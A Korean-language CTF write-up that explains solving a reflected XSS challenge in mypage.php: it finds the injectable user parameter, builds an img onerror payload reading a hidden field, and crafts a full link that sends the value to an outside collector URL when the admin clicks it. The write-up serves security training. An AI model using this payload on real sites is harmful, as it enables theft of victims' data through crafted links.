# CTF : Basic Script Prac

## :exclamation:Goal : Find a flag in mypage.php

Basic Script Prac은 mypage.php에 존재하는 Reflected XSS 취약점을 공략해&#x20;

flag를 찾아내는 문제이다.&#x20;

다행스럽게도 취약점이 존재하는 페이지와 정보를 탈취하고자 하는 페이지의 구조가 동일하기 때문에&#x20;

스크립트 자체가 복잡하진 않을 것이다.&#x20;

### Step#1 : 취약점 위치 파악하기

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2FctGWMDuV1HbmbdZh4jXG%2Fimage.png?alt=media&#x26;token=9dd4b662-523a-40e2-b995-eb692ebc26ed" alt=""><figcaption></figcaption></figure>

문제에서 애초에 mypage.php에 취약점이 존재한다고 알려줬기 때문에 포인트를 따로 찾을 필요는 없다.

하지만 어떤 파라미터를 통해 스크립트를 전달할 수 있을 지,&#x20;

파라미터 결과가 반영되는 페이지 상 위치가 어디인지는 확인하고 넘어가자.&#x20;

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2FjHCyOrfYOFUlTVWibYas%2Fimage.png?alt=media&#x26;token=a3cca2f6-b41f-4f3d-8f78-3882b14d4af3" alt=""><figcaption></figcaption></figure>

Packet을 둘러보면 user parameter가 전달되고 있음을 볼 수 있고&#x20;

해당 데이터가 개인 정보의 두 번째 칸에 출력 되는 걸 파악할 수 있을 것이다.&#x20;

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2F5RmtWbUvvJ7wExDN8xy6%2Fimage.png?alt=media&#x26;token=16662df4-c925-455c-a173-64b5de99a56d" alt=""><figcaption></figcaption></figure>

취약점 포인트에 특정 문자를 사용할 수 있는 지 확인해보면&#x20;

정상적으로 < " ' > 가 Packet & Browser 상에 나오는 걸 볼 수 있다.

### Step#2 : JS로 데이터 위치에 접근하기&#x20;

정보를 탈취할 admin의 마이페이지는 다른 사용자와 동일한 구성이기 때문에&#x20;

자신의 계정으로 로그인한 상태에서 추출한 데이터의 위치가 어떻게 되는 지 파악하고 가면 쉬울 것이다.

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2F58Sg4tqIqWQo78sPIsl9%2Fimage.png?alt=media&#x26;token=a2999b49-a9f3-4d6b-937a-c635da81c5a8" alt=""><figcaption></figcaption></figure>

개발자 도구에서 Flag Here..! 문구가 있는 요소를 선택하면&#x20;

```
<input name="info" type="text" placeholder="Flag Here..!">
```

이와 같은 \<input> tag를 확인할 수 있을 것이다.&#x20;

딱 보아-하니! JS에서 이 태그에 접근하기 위해선 name 속성을 사용하면 될 듯하고&#x20;

태그 안에 작성된 내용을 얻기 위해선 placeholder 속성 값을 가져오면 될 거 같다.

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2FCCkq8Wjp8s30FjEq7Zoy%2Fimage.png?alt=media&#x26;token=f47126bb-8cee-412f-bd7f-edf345c2376f" alt=""><figcaption></figcaption></figure>

Flag Here..! 문구가 맞는 지 확인하기 위해 console 창에 입력해보면 결과를 확인해볼 수 있다.&#x20;

### Step#3 : 공격 스크립트 준비하기

현재 user parameter가 페이지 상에 들어가는 위치는&#x20;

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2FilJqemIEYn6NHgp2H0Oy%2Fimage.png?alt=media&#x26;token=305547dc-b943-4dd7-a9ea-3e926be8fc56" alt=""><figcaption></figcaption></figure>

\<input> tag의 placeholder로 스크립트를 실행하기 위해서 따옴표를 빠져 나올 필요가 있다.

이를 감안해 스크립트의 큰 틀을 잡아보자면 아래와 같다.&#x20;

```
user="/><img src=1 onerror="__script__">
```

\<script> tag를 삽입할 수도 있지만 브라우저가 동작하는 특성을 고려했을 때,&#x20;

script tag를 HTML 중간에서 마주치게 되면 \<script> 내용부터 처리하기 때문에&#x20;

원하는 태그에 접근하는 데에 에러가 발생할 수 있다.

(아직 페이지가 다 로드되지 않은 상태로 \<script>가 실행되기 때문)&#x20;

스크립트가 실행되는 시점을 조절할 수 있지만 이는 추가적으로 코드를 작성해야 하기 때문에&#x20;

이번 문제는 간편하게 \<img> tag로 에러 이벤트를 발생 시키기로 했다.&#x20;

다음으로 실행 시킬 스크립트를 작성해보자.&#x20;

```
var data= document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src='https://en8eic4rwiekf.x.pipedream.net/?secret='+data;
```

admin 페이지에서 뽑아올 데이터 위치는 앞에서 이미 파악해두었기 때문에 해당 element 값을 가져와

변수 data에 할당한다.

새로운 이미지 태그를 생성한 뒤, 이미지 태그의 경로로 공격자 서버 URL을 입력해 data를&#x20;

파라미터로 보내주면 끝이다.&#x20;

### Step#4 : 사용자에게 URL 전달

이제 앞서 작성한 스크립트를 admin에게 보내줄 차례이다.&#x20;

admin이 링크를 클릭함으로써 공격이 이루어진다는 상황을 상상해야 한다.&#x20;

XSS 취약점이 존재하는 페이지에 user parameter로 스크립트를 전달하도록 링크를 작성하면&#x20;

```
http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user="/><img src=1 onerror="var data= document.getElementsByName('info')[0].placeholder;var i=new Image();i.src='https://en8eic4rwiekf.x.pipedream.net/?secret='%2bdata;">
```

이와 같이 링크를 만들 수 있을 것이다.&#x20;

이제 링크를 사용자에게 전달하기만 하면 된다.

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2F8laCdt5JhwmLvmlw5J1N%2Fimage.png?alt=media&#x26;token=505a2f16-a570-4c6c-9ba1-fcf9e6c8d295" alt=""><figcaption></figcaption></figure>

이 링크를 admin이 클릭한다면 Reflected XSS 취약점이 존재하는 페이지를 이용해&#x20;

공격자 서버로 자신이 가지고 있는 flag를 보내줄 것이다.

<figure><img src="https://2861100003-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9PiiqEcal3M7lZTt5EVZ%2Fuploads%2FM0G7v14Y2yzY85NVBzSj%2Fimage.png?alt=media&#x26;token=837ae86b-875c-4ee3-9a84-6aa473390b91" alt=""><figcaption></figcaption></figure>

이후 공격자의 서버 기록을 확인해보면 성공적으로 flag가 도착해있는 걸 볼 수 있다. :thumbsup:
